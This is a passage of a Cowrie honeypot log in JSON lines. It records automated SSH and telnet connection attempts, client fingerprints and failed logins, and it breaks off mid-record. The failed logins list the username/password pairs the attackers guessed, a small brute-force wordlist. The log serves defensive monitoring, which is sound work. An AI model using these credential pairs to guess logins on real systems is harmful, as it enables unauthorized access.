{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41610,"dst_ip":"10.17.0.5","dst_port":23,"session":"108cbfe851a4","protocol":"telnet","message":"New connection: 20.123.41.163:41610 (10.17.0.5:23) [session: 108cbfe851a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:33.500244Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test$123","message":"login attempt [test/test$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:34.240106Z","src_ip":"156.251.179.157","session":"3177b2e85d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:35.462777Z","src_ip":"156.251.179.157","session":"3177b2e85d52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":51196,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba7b1c286c36","protocol":"ssh","message":"New connection: 103.143.231.102:51196 (10.17.0.5:22) [session: ba7b1c286c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:37.996543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:38.001505Z","src_ip":"103.143.231.102","session":"ba7b1c286c36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:38.074195Z","src_ip":"103.143.231.102","session":"ba7b1c286c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server11","message":"login attempt [server/server11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:38.399543Z","src_ip":"103.143.231.102","session":"ba7b1c286c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:39.475371Z","src_ip":"103.143.231.102","session":"ba7b1c286c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.073175430297852,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:40.573267Z","src_ip":"20.123.41.163","session":"108cbfe851a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":34240,"dst_ip":"10.17.0.5","dst_port":22,"session":"5172720ca600","protocol":"ssh","message":"New connection: 152.32.238.146:34240 (10.17.0.5:22) [session: 5172720ca600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:44.680130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:44.685161Z","src_ip":"152.32.238.146","session":"5172720ca600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:44.697237Z","src_ip":"152.32.238.146","session":"5172720ca600","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1q2w3e4r","message":"login attempt [deployer/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:44.782955Z","src_ip":"152.32.238.146","session":"5172720ca600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:45.807881Z","src_ip":"152.32.238.146","session":"5172720ca600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":59730,"dst_ip":"10.17.0.5","dst_port":22,"session":"510d3000c56d","protocol":"ssh","message":"New connection: 156.251.179.157:59730 (10.17.0.5:22) [session: 510d3000c56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:46.827005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:47.387141Z","src_ip":"156.251.179.157","session":"510d3000c56d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:47.594379Z","src_ip":"156.251.179.157","session":"510d3000c56d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali!@#","message":"login attempt [ali/ali!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:48.525379Z","src_ip":"156.251.179.157","session":"510d3000c56d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":51724,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd579f9ece93","protocol":"ssh","message":"New connection: 45.144.233.139:51724 (10.17.0.5:22) [session: bd579f9ece93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:49.462781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:49.467771Z","src_ip":"45.144.233.139","session":"bd579f9ece93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:49.555189Z","src_ip":"45.144.233.139","session":"bd579f9ece93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:49.772872Z","src_ip":"156.251.179.157","session":"510d3000c56d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1qaz@WSX","message":"login attempt [deploy/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:49.935375Z","src_ip":"45.144.233.139","session":"bd579f9ece93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:51.026720Z","src_ip":"45.144.233.139","session":"bd579f9ece93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":33354,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7e2c4949be1","protocol":"telnet","message":"New connection: 103.150.226.61:33354 (159.203.135.109:23) [session: c7e2c4949be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:52.791404Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":32970,"dst_ip":"10.17.0.5","dst_port":22,"session":"e70bc4e0e294","protocol":"ssh","message":"New connection: 156.251.179.157:32970 (10.17.0.5:22) [session: e70bc4e0e294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:59.216350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:59.285175Z","src_ip":"156.251.179.157","session":"e70bc4e0e294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:59.626802Z","src_ip":"156.251.179.157","session":"e70bc4e0e294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.367385387420654,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:30:59.819960Z","src_ip":"20.123.41.163","session":"1c788f588285","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"zaq123","message":"login attempt [user/zaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:00.565310Z","src_ip":"156.251.179.157","session":"e70bc4e0e294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:01.786500Z","src_ip":"156.251.179.157","session":"e70bc4e0e294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":44942,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0f6cb1d4ce9","protocol":"telnet","message":"New connection: 103.150.226.61:44942 (159.203.135.109:23) [session: e0f6cb1d4ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:07.914373Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":34444,"dst_ip":"10.17.0.5","dst_port":22,"session":"b63ce87eb9de","protocol":"ssh","message":"New connection: 156.251.179.157:34444 (10.17.0.5:22) [session: b63ce87eb9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:11.969225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:12.048563Z","src_ip":"156.251.179.157","session":"b63ce87eb9de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:12.633402Z","src_ip":"156.251.179.157","session":"b63ce87eb9de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"d3pl0y","message":"login attempt [deploy/d3pl0y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:14.069933Z","src_ip":"156.251.179.157","session":"b63ce87eb9de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:15.296515Z","src_ip":"156.251.179.157","session":"b63ce87eb9de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":36580,"dst_ip":"159.203.135.109","dst_port":23,"session":"b54edf9468a1","protocol":"telnet","message":"New connection: 103.150.226.61:36580 (159.203.135.109:23) [session: b54edf9468a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:17.850608Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43102,"dst_ip":"10.17.0.5","dst_port":23,"session":"418e586432ae","protocol":"telnet","message":"New connection: 104.245.105.2:43102 (10.17.0.5:23) [session: 418e586432ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:20.653602Z"}
{"eventid":"cowrie.session.closed","duration":31.164107084274292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:23.955417Z","src_ip":"103.150.226.61","session":"c7e2c4949be1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":35916,"dst_ip":"10.17.0.5","dst_port":22,"session":"5723315321d8","protocol":"ssh","message":"New connection: 156.251.179.157:35916 (10.17.0.5:22) [session: 5723315321d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:25.219988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:25.260348Z","src_ip":"156.251.179.157","session":"5723315321d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:25.615304Z","src_ip":"156.251.179.157","session":"5723315321d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":46020,"dst_ip":"10.17.0.5","dst_port":22,"session":"5098760ac634","protocol":"ssh","message":"New connection: 152.32.238.146:46020 (10.17.0.5:22) [session: 5098760ac634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.089522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.095809Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sh